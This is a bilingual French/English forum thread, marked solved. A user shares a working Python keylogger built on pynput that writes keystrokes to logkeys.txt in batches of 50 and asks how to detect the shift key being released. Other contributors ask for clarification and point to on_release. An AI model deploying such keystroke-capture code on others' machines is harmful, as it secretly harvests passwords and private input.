Keylogger function on_remove_key() Fr/En
Résolu
Français :
Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :
Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?
English :
Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :
The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?
Merci :)
Thanks :)
Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :
from pynput.keyboard import Key, Listener
def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"
keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?
English :
Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :
from pynput.keyboard import Key, Listener
def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"
keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?
Merci :)
Thanks :)
1 réponse
-
Contributeurbonjour, quel est ton soucis avec la création de cette fonction?
peux-tu utiliser les balises de code quand tu postes du code?-
-
Contributeur@Sinagetu voudrais que ton programme traite l’événement "retirer la touche shift"? as-tu essayé de programmer la fonction on_release? c'est quoi "on remove"?
tu n'as pas expliqué ce que ton programme devrait faire avec cet événement. -
-
Contributeur@Sinagetb, peux-tu alors marquer je sujet comme résolu, via la roue dentée à droite du titre?
-
-